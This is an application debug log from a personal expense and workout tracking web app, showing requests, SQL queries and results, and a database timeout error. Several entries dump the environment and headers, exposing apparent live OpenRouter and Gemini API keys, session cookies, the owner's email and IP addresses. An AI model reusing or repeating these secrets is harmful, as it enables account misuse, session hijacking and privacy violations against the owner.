    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/workout',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T07:26:04.592Z server-connect:router Serving serverConnect /api/health/get-schedule
2025-12-24T07:26:04.593Z server-connect:app Executing action step identify
2025-12-24T07:26:04.593Z server-connect:app options: { provider: 'security' }
2025-12-24T07:26:04.593Z server-connect:output identity: 1
2025-12-24T07:26:04.593Z server-connect:app Executing action step restrict
2025-12-24T07:26:04.593Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T07:26:04.594Z server-connect:output restrict: undefined
2025-12-24T07:26:04.594Z server-connect:app Executing action step select
2025-12-24T07:26:04.594Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2025-12-24T07:26:04.596Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2025-12-24T07:26:06.202Z server-connect:router Serving templateView /exercise/2
2025-12-24T07:26:06.203Z server-connect:app Executing action step identify
2025-12-24T07:26:06.203Z server-connect:app options: { provider: 'security' }
2025-12-24T07:26:06.203Z server-connect:output identity: 1
2025-12-24T07:26:06.203Z server-connect:app Executing action step restrict
2025-12-24T07:26:06.203Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T07:26:06.204Z server-connect:output restrict: undefined
2025-12-24T07:26:06.204Z server-connect:router Render template workout-exercise
2025-12-24T07:26:06.204Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': { schedule_id: '2' },
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T04:01:57.381Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/exercise/2',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/exercise/2',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/exercise/2',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A3%2BnzlkEhCekl4MaSPcngJA%3D%3D.ujRr%2F0gwOGw92ypXXwQ9bCi4Z1ErX1d%2B5K%2FNoO4eLz8vZQN2CzPsAIe6KOdz%2BT4f4iO2meBe%2FGqPuRDFaCyFfIyuKn1MoJXiDHwCHgZcbp%2F38dYWvnaPaK4YCsBpD7BXv8HbuvdyAkLwbkumZIe4Hc0XWknnmyWzSjx%2BFdYKNJ0%3D.vYVSE8vURsf0VXLReSYMvNgLJtAItR6yx%2BeQ%2FoudNkk; your_r_git.sid=s%3AM36S9pPD7S4swVvw53uakFeB7W1HDzxS.ZWUggtviKMYRDhwFDytynhiJBPWQyYeuggfVF5K4zMw',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-24T07:26:06.412Z server-connect:router Serving serverConnect /api/health/get-exercises
2025-12-24T07:26:06.414Z server-connect:app Executing action step identify
2025-12-24T07:26:06.415Z server-connect:app options: { provider: 'security' }
2025-12-24T07:26:06.415Z server-connect:output identity: 1
2025-12-24T07:26:06.415Z server-connect:app Executing action step restrict
2025-12-24T07:26:06.415Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T07:26:06.415Z server-connect:output restrict: undefined
2025-12-24T07:26:06.416Z server-connect:app Executing action step select
2025-12-24T07:26:06.416Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'workout_exercise' },
    primary: 'exercise_id',
    joins: [],
    query: 'select `exercise_id`, `workout_name`, `exercise_name`, `type`, `no_of_sets`, `group`, `workout_day` from `workout_exercise` where `workout_exercise`.`schedule_id` = ?',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    sub: { workout_tracker: [Object] }
  }
}
2025-12-24T07:26:06.421Z server-connect:output list: [
  {
    exercise_id: 1,
    workout_name: 'Chest',
    exercise_name: 'Bench Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: [ [Object], [Object], [Object] ]
  },
  {
    exercise_id: 2,
    workout_name: 'Back',
    exercise_name: 'Dumbell Row',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 3,
    workout_name: 'Chest',
    exercise_name: 'Incline Dumbell Press',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 4,
    workout_name: 'Chest',
    exercise_name: 'Pec Deck Fly',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 5,
    workout_name: 'Shoulder',
    exercise_name: 'Dumbell Overhead Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  }
]
2025-12-24T07:26:24.447Z server-connect:router Serving serverConnect /api/health/log-set
2025-12-24T07:26:24.447Z server-connect:app Executing action step identify
2025-12-24T07:26:24.447Z server-connect:app options: { provider: 'security' }
2025-12-24T07:26:24.447Z server-connect:output identity: 1
2025-12-24T07:26:24.448Z server-connect:app Executing action step restrict
2025-12-24T07:26:24.448Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T07:26:24.449Z server-connect:output restrict: undefined
2025-12-24T07:26:24.450Z server-connect:app Executing action step insert
2025-12-24T07:26:24.450Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    table: 'workout_tracker',
    returning: 'tracker_id',
    query: 'insert into `workout_tracker` (`created_by`, `created_on`, `exercise_id`, `workout_date`, `workout_rep`, `workout_weight`) values (?, ?, ?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object], [Object] ]
  }
}
2025-12-24T07:26:24.454Z server-connect:output insert: { affected: 1, identity: 4 }
2025-12-24T07:26:24.660Z server-connect:router Serving serverConnect /api/health/get-exercises
2025-12-24T07:26:24.661Z server-connect:app Executing action step identify
2025-12-24T07:26:24.661Z server-connect:app options: { provider: 'security' }
2025-12-24T07:26:24.661Z server-connect:output identity: 1
2025-12-24T07:26:24.661Z server-connect:app Executing action step restrict
2025-12-24T07:26:24.661Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T07:26:24.662Z server-connect:output restrict: undefined
2025-12-24T07:26:24.662Z server-connect:app Executing action step select
2025-12-24T07:26:24.662Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'workout_exercise' },
    primary: 'exercise_id',
    joins: [],
    query: 'select `exercise_id`, `workout_name`, `exercise_name`, `type`, `no_of_sets`, `group`, `workout_day` from `workout_exercise` where `workout_exercise`.`schedule_id` = ?',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    sub: { workout_tracker: [Object] }
  }
}
2025-12-24T07:26:24.665Z server-connect:output list: [
  {
    exercise_id: 1,
    workout_name: 'Chest',
    exercise_name: 'Bench Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: [ [Object], [Object], [Object] ]
  },
  {
    exercise_id: 2,
    workout_name: 'Back',
    exercise_name: 'Dumbell Row',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 3,
    workout_name: 'Chest',
    exercise_name: 'Incline Dumbell Press',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: []
  },
  {
    exercise_id: 4,
    workout_name: 'Chest',
    exercise_name: 'Pec Deck Fly',
    type: 'Regular',
    no_of_sets: 3,
    group: null,
    workout_day: null,
    workout_tracker: [ [Object] ]
  },
  {
    exercise_id: 5,
    workout_name: 'Shoulder',
    exercise_name: 'Dumbell Overhead Press',
    type: 'Regular',
    no_of_sets: 4,
    group: null,
    workout_day: null,
    workout_tracker: []
  }
]
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-24 08:00:17' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-24 08:00:17' as DATETIME)"
}
2025-12-24T08:00:27.653Z server-connect:router Serving templateView /
2025-12-24T08:00:27.654Z server-connect:app Executing action step identify
2025-12-24T08:00:27.654Z server-connect:app options: { provider: 'security' }
2025-12-24T08:00:27.654Z server-connect:output identity: 1
2025-12-24T08:00:27.655Z server-connect:app Executing action step restrict
2025-12-24T08:00:27.655Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T08:00:27.656Z server-connect:output restrict: undefined
2025-12-24T08:00:27.657Z server-connect:app Executing action step restrict
2025-12-24T08:00:27.657Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T08:00:27.657Z server-connect:output restrict: undefined
2025-12-24T08:00:27.657Z server-connect:router Render template layouts/main
2025-12-24T08:00:27.657Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-25T00:44:59.523Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'your_r_git.sid=s%3AQq2tibWaXFO9cZFfGA0LsqHfV2TP-kyq.AwMsduKU1UcD2nJ37hxe0X1YegdXBkKwRJRl%2Fh5dvOg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-24T08:00:28.400Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T08:00:28.401Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T08:00:28.402Z server-connect:app Executing action step identify
2025-12-24T08:00:28.402Z server-connect:app options: { provider: 'security' }
2025-12-24T08:00:28.402Z server-connect:output identity: 1
2025-12-24T08:00:28.402Z server-connect:app Executing action step restrict
2025-12-24T08:00:28.402Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:00:28.403Z server-connect:output restrict: undefined
2025-12-24T08:00:28.403Z server-connect:app Executing action step single
2025-12-24T08:00:28.403Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T08:00:28.404Z server-connect:app Executing action step identify
2025-12-24T08:00:28.404Z server-connect:app options: { provider: 'security' }
2025-12-24T08:00:28.404Z server-connect:output identity: 1
2025-12-24T08:00:28.404Z server-connect:app Executing action step restrict
2025-12-24T08:00:28.404Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T08:00:28.405Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T08:00:28.408Z server-connect:output restrict: undefined
2025-12-24T08:00:28.408Z server-connect:app Executing action step select
2025-12-24T08:00:28.408Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T08:00:28.415Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
